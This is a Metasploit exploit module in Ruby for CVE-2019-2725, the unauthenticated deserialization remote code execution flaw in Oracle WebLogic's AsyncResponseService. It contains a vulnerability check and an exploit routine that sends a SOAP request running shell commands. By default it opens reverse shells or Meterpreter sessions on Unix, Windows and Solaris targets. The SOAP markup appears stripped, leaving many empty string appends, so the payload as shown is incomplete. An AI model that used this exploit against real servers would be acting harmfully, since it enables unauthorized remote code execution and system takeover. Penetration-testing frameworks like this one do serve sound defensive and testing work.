## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize(info = {}) super( update_info( info, 'Name' => 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService ', 'Description' => %q{ An unauthenticated attacker with network access to the Oracle Weblogic Server T3 interface can send a malicious SOAP request to the interface WLS AsyncResponseService to execute code on the vulnerable host. }, 'Author' => [ 'Andres Rodriguez - 2Secure (@acamro) ', # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-2725'], ['URL', 'http://www.cnvd.org.cn/webinfo/show/4999'], ['URL', 'https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html'], ['URL', 'https://twitter.com/F5Labs/status/1120822404568244224'] ], 'Privileged' => false, 'Platform' => %w[unix win solaris], 'Targets' => [ [ 'Unix', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Windows', { 'Platform' => 'win', 'Arch' => [ARCH_X64, ARCH_X86], 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } } ], [ 'Solaris', { 'Platform' => 'solaris', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }, 'Payload' => { 'Space' => 2048, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet' } } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 12 }, 'DisclosureDate' => '2019-04-23', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ Opt::RPORT(7001), OptString.new('TARGETURI', [true, 'URL to AsyncResponseService', '/_async/AsyncResponseService']) ] ) end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'ctype' => 'text/xml', 'headers' => { 'SOAPAction' => '' } ) if res && res.code == 500 && res.body.include?('env:Client') vprint_status("The target returned a vulnerable HTTP code: /#{res.code}") vprint_status("The target returned a vulnerable HTTP error: /#{res.body.split("\n")[0]}") Exploit::CheckCode::Vulnerable elsif res && res.code != 202 vprint_status('The target returned a non-vulnerable HTTP code') Exploit::CheckCode::Safe elsif res.nil? vprint_status('The target did not respond in an expected way') Exploit::CheckCode::Unknown else vprint_status("The target returned HTTP code: #{res.code}") vprint_status("The target returned HTTP body: #{res.body.split("\n")[0]} [...]") Exploit::CheckCode::Unknown end end def exploit print_status('Generating payload...') case target.name when 'Windows' string0_cmd = 'cmd.exe' string1_param = '/c' shell_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encoded: false }) when 'Unix', 'Solaris' string0_cmd = '/bin/bash' string1_param = '-c' shell_payload = payload.encoded end random_action = rand_text_alphanumeric(20) random_relates = rand_text_alphanumeric(20) soap_payload = %() soap_payload << %() soap_payload << %(#{random_action}) soap_payload << %(#{random_relates}) soap_payload << %() soap_payload << %() soap_payload << %() soap_payload << %() soap_payload << %(#{string0_cmd}) soap_payload << %() soap_payload << %() soap_payload << %(#{string1_param}) soap_payload << %() soap_payload << %() soap_payload << %(#{shell_payload.encode(xml: :text)}) # soap_payload << %Q|#{xml_encode(shell_payload)}| soap_payload << %() soap_payload << %() soap_payload << %() soap_payload << %() soap_payload << %() soap_payload << %() soap_payload << %() soap_payload << %() soap_payload << %() soap_payload << %() print_status('Sending payload...') begin res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'ctype' => 'text/xml', 'data' => soap_payload, 'headers' => { 'SOAPAction' => '' } ) rescue Errno::ENOTCONN fail_with(Failure::Disconnected, 'The target forcibly closed the connection, and is likely not vulnerable.') end if res.nil? fail_with(Failure::Unreachable, 'No response from host') elsif res && res.code != 202 fail_with(Failure::UnexpectedReply, "Exploit failed. Host responded with HTTP code #{res.code} instead of HTTP code 202") end end end